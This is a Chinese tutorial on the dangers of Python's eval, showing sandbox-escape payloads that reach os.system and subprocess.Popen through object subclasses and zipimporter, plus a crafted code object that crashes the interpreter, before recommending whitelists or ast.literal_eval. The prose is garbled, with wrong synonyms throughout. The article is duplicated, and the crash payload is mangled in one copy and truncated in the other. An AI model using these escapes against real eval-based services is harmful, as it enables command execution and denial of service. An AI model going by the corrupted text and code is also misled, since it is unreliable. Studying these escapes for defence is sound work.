Python中eval带来的机要危害代码解析,Python中eva

作者: 网络编程  发布:2019-09-03

Python中eval带来的潜在危机

0x00 前言


eval是Python用于施行python表明式的二个放到函数,使用eval,能够很有利的将字符串动态试行。举例下列代码:

1

2

3

4

>>> eval("1+2")

3

>>> eval("[x for x in range(10)]")

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

当内部存款和储蓄器中的内置模块含有os的话,eval同样能够成功命令实施:

1

2

3

4

>>> import os

>>> eval("os.system('whoami')")

win-20140812chjadministrator

0

当然,eval只可以推行Python的表明式类型的代码,不可能直接用它进行import操作,但exec能够。假若非要使用eval进行import,则运用__import__

1

2

3

4

5

6

7

8

9

10

11

>>> exec('import os')

>>> eval('import os')

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1

    import os

         ^

SyntaxError: invalid syntax

>>> eval("__import__('os').system('whoami')")

win-20140812chjadministrator

0

在事实上的代码中,往往有利用顾客端数据带入eval中推行的急需。比如动态模块的引进,举个栗子,三个在线爬虫平台上爬虫可能有多个同不常间位居分歧的 模块中,服务器端但频频只须要调用客户在客商端选择的爬虫类型,并因此后端的exec也许eval举行动态调用,后端编码达成丰裕方便。但借使对客商的乞请管理不对劲,就能招致深重的安全漏洞。

0x01 “安全”使用eval


未来倡导最多的就是选择eval的后多少个参数来设置函数的白名单:

Eval函数的扬言为eval(expression[, globals[, locals]])

其间,第二八个参数分别钦点能够在eval中利用的函数等,假如不钦赐,默认为globals()和locals()函数中 包括的模块和函数。

1

2

3

4

5

6

7

8

9

10

11

>>> import os

>>> 'os' in globals()

True

>>> eval('os.system('whoami')')

win-20140812chjadministrator

0

>>> eval('os.system('whoami')',{},{})

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1, in <module>

NameError: name 'os' is not defined

一旦钦定只同意调用abs函数,能够使用下边包车型地铁写法:

1

2

3

4

5

6

7

8

9

10

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})

20

>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1, in <module>

NameError: name 'os' is not defined

>>> eval('os.system('whoami')')

win-20140812chjadministrator

0

选取这种措施来防护,确实能够起到自然的效果与利益,可是,这种处理方法可能会被绕过,进而导致任何主题素材!

0x02 绕过实践代码1


被绕过的场景如下,小明知道了eval会带来一定的安全危机,所以选取如下的一手去防卫eval实施自便代码:

1

2

3

4

5

6

7

8

env = {}

env["locals"]   = None

env["globals"= None

env["__name__"] = None

env["__file__"] = None

env["__builtins__"] = None

eval(users_str, env)

Python中的__builtins__是放到模块,用来设置内置函数的模块。比如熟练的abs,open等内置函数,都以在该模块中以字典的情势存款和储蓄的,上边三种写法是等价的:

1

2

3

4

>>> __builtins__.abs(-20)

20

>>> abs(-20)

20

大家也能够自定义内置函数,并像使用Python中的内置函数同样采取它们:

1

2

3

4

5

>>> def hello():

...     print 'shabi'

>>> __builtin__.__dict__['say_hello'] = hello

>>> say_hello()

shabi

小明将eval函数的功用域中的内置模块设置为None,好像看起来很干净了,但还能够被绕过。__builtins____builtin__的二个援用,在__main__模块下,两个是等价的:

1

2

3

4

>>> id(__builtins__)

3549136

>>> id(__builtin__)

3549136

据他们说乌云drops提到的章程,使用如下代码就能够:

1

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

地方的代码首先利用__class____subclasses__动态加载了object对 象,那是因为eval中无法直接选取object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入,并调用其置于模块中的os模块进而完毕命令实践,当然,前提是要有configobj的egg文件。 configobj模块很风趣,居然内置了os模块:

1

2

3

4

5

6

7

8

9

10

11

>>> "os" in configobj.__dict__

True

>>> import urllib

>>> "os" in urllib.__dict__

True

>>> import urllib2

>>> "os" in urllib2.__dict__

True

>>> configobj.os.system("whoami")

win-20140812chjadministrator

0

和configobj类似的模块如urlliburllib2setuptools等都有os的放权,理论上行使哪个都行。 若是无法下载egg压缩文件,能够下载带有setup.py的文书夹,参预:

1

from setuptools import setup, find_packages 

然后实施:

1

python setup.py bdist_egg

就足以在dist文件夹中找到呼应的egg文件。 绕过demo如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

>>> env = {}

>>> env["locals"]   = None

>>> env["globals"= None

>>> env["__name__"] = None

>>> env["__file__"] = None

>>> env["__builtins__"] = None

>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"

>>> eval(users_str, env)

win-20140812chjadministrator

0

>>> eval(users_str, {}, {})

win-20140812chjadministrator

0

0x03 拒绝服务攻击1


object的子类中有过多幽默的东西,实施以下代码查看:

1

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

此处自身就不出口结果了,要是你试行的话,能够看出色多幽默的模块,举个例子file,zipimporter,Quitter等。经过测量试验,file的构造函数是被解释器沙箱隔断的。 轻便的,也许直接使object暴表露的子类Quitter实行剥离:

1

2

3

4

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__

 == 'Quitter'][0](0)()", {'__builtins__':None})

C:/>

万一运气好,蒙受对方程序中程导弹入了os等敏感模块,那么Popen就足以用,何况绕过__builins__为空的范围,栗子如下:

1

2

3

4

5

6

7

8

9

10

11

>>> import subprocess

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})

<subprocess.Popen object at 0x0324FF70>

>>>

正在 Ping 127.0.0.1 具有 32 字节的数据:

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:

    数据包: 已发送 = 1,已接收 = 1,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

    最短 = 0ms,最长 = 0ms,平均 = 0ms

>>>

实质上,这种场所极其多,举个例子导入os模块,一般用来拍卖门路难点。所以说,境遇这种景色,完全能够列举大量的遵守函数,来探测目的object的子类中是或不是满含一些快要灭亡的函数能够直接行使。

0x04 拒绝服务攻击2


同样,大家照旧足以绕过__builtins__为None,形成一遍拒绝服务攻击,Payload(来自老外blog)如下:

1

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

运维方面包车型地铁代码,Python直接crash掉了,变成拒绝服务攻击。 原理是通过嵌套的lambda来社团一片代码段,即code对象。为这些code对象分配空的栈,并交给相应的代码字符串,这里是KABOOM,在空栈上施行代码,会现出crash。构造完毕后,调用fc函数就能够触发,其思路不可谓倒霉色。

0x05 总结


从地点的开始和结果我们能够旁观,单单将安置模块置为空,是不够的,最棒的建制是构造白名单,要是感到相比费心,能够动用ast.literal_eval代表不安全的eval

参谋资料:

1】

2】

3】

0x00 前言 eval是Python用于施行python表达式的四个放权函数,使用eval,可以很有益于的将字符串动态实行。举个例子下列代...

0x00 前言

eval是Python用于实施python表明式的多个松手函数,使用eval,能够很平价的将字符串动态推行。比方下列代码:

>>> eval("1+2")
>>> eval("[x for x in range(10)]")
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

当内部存款和储蓄器中的放置模块含有os的话,eval同样能够形成命令试行:

>>> import os
>>> eval("os.system('whoami')")
win-20140812chjadministrator

自然,eval只好举办Python的表明式类型的代码,不可能一向用它举行import操作,但exec能够。假若非要使用eval举办import,则使用 __import__ :

>>> exec('import os')
>>> eval('import os')
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<string>", line 1
  import os
     ^
SyntaxError: invalid syntax
>>> eval("__import__('os').system('whoami')")
win-20140812chjadministrator

在骨子里的代码中,往往有选择顾客端数据带入eval中进行的要求。举例动态模块的引进,举个栗子,三个在线爬虫平台上爬虫恐怕有三个同不平日候位居分歧的模块中,服务器端但再三只需求调用客户在顾客端采用的爬虫类型,并通过后端的exec大概eval进行动态调用,后端编码完结丰硕有助于。但只要对客户的央浼管理不稳当,就能够促成悲惨的安全漏洞。

0x01 “安全”使用eval

今天发起最多的就是接纳eval的后多少个参数来安装函数的白名单:

Eval函数的宣示为 eval(expression[, globals[, locals]])

内部,第二四个参数分别钦命能够在eval中采取的函数等,假诺不点名,默感觉globals()和locals()函数中 包蕴的模块和函数。

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator

>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<string>", line 1, in <module>
NameError: name 'os' is not defined

举例钦赐只允许调用abs函数,能够应用下边包车型地铁写法:

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<string>", line 1, in <module>
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator

运用这种措施来防护,确实能够起到早晚的成效,可是, 这种拍卖措施恐怕会被绕过 ,从而致使任何标题!

0x02 绕过执行代码1

被绕过的情状如下,小明知道了eval会带来一定的平安危害,所以选用如下的手法去防止eval实践跋扈代码:

env = {}
env["locals"]  = None
env["globals"] = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
eval(users_str, env)

Python中的 __builtins__ 是置于模块,用来设置内置函数的模块。举例熟知的abs,open等内置函数,都是在该模块中以字典的措施存款和储蓄的,上面三种写法是等价的:

>>> __builtins__.abs(-20)
>>> abs(-20)

我们也得以自定义内置函数,并像使用Python中的内置函数同样使用它们:

>>> def hello():
...   print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

小明将eval函数的功能域中的内置模块设置为 None ,好像看起来很干净了,但依然得以被绕过。 __builtins__ 是 __builtin__ 的三个援引,在 __main__ 模块下,两个是等价的:

>>> id(__builtins__)
>>> id(__builtin__)

听他们说 乌云drops 提到的点子,使用如下代码就能够:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

下面的代码首先利用 __class__ 和 __subclasses__ 动态加载了 object 对象,那是因为eval中十分小概直接使用object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块举行导入,并调用其置于模块中的os模块进而完结命令实践,当然,前提是要有configobj的egg文件。 configobj模块很有意思,居然内置了os模块:

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator

和configobj类似的模块如 urllib , urllib2 , setuptools 等皆有os的放权,理论上接纳哪个都行。 假设不能够下载egg压缩文件,能够下载带有setup.py的公文夹,参预:

from setuptools import setup, find_packages 

然后施行:

python setup.py bdist_egg

就可以在dist文件夹中找到相应的egg文件。 绕过demo如下:

>>> env = {}
>>> env["locals"]  = None
>>> env["globals"] = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator

>>> eval(users_str, {}, {})
win-20140812chjadministrator

0x03 拒绝服务攻击1

object的子类中有成都百货上千妙不可言的事物,推行以下代码查看:

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

此间小编就不出口结果了,倘令你实践的话,能够看到众多妙不可言的模块,举个例子file,zipimporter,Quitter等。经过测验,file的构造函数是被解释器沙箱隔绝的。 轻松的,恐怕直接使object暴揭示的子类Quitter实行剥离:

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

C:/>

举例运气好,遇到对方程序中程导弹入了 os 等趁机模块,那么Popen就能够用,并且绕过 __builins__ 为空的限定,栗子如下:

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
<subprocess.Popen object at 0x0324FF70>
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
.0.0.1 的 Ping 统计信息:
  数据包: 已发送 = 1,已接收 = 1,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
  最短 = 0ms,最长 = 0ms,平均 = 0ms
>>>

实质上,这种场馆特别多,举例导入os模块,一般用来管理渠道难题。所以说,遭受这种景况,完全能够列举大批量的功效函数,来探测目标object的子类中是否含有一点点高危的函数能够一贯运用。

0x04 拒绝服务攻击2

同一,大家竟然能够绕过 __builtins__ 为None,形成一次拒绝服务攻击,Payload(来自老外blog)如下:

>>> eval('(lambda fc=(lambda n: .__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

运作方面包车型客车代码,Python直接crash掉了,产生拒绝服务攻击。 原理是透过嵌套的lambda来组织一片代码段,即code对象。为那一个code对象分配空的栈,并交给相应的代码字符串,这里是 KABOOM ,在空栈上实践代码,会冒出crash。构造实现后,调用fc函数就能够触发,其思路不可谓不好色。

0x05 总结

从上面的剧情大家能够看出,单单将嵌入模块置为空,是远远不足的,最佳的编写制定是协会白名单,假设感觉相比辛苦,能够选拔ast.literal_eval 取代不安全的 eval 。

如上就是本文关于Python中eval带来的绝密风险代码深入分析的全部内容,希望对大家持有支持。感兴趣的朋友能够持续参照本站别的连锁专项论题,如有不足之处,迎接留言提议。多谢朋友们对本站的支持!

您只怕感兴趣的篇章:

  • 详解python eval函数的妙用
  • Python学习笔记整理3之输入输出、python eval函数
  • python学习笔记之调用eval函数出现invalid syntax错误难题

本文由王中王开奖结果发布于网络编程,转载请注明出处:Python中eval带来的机要危害代码解析,Python中eva

关键词: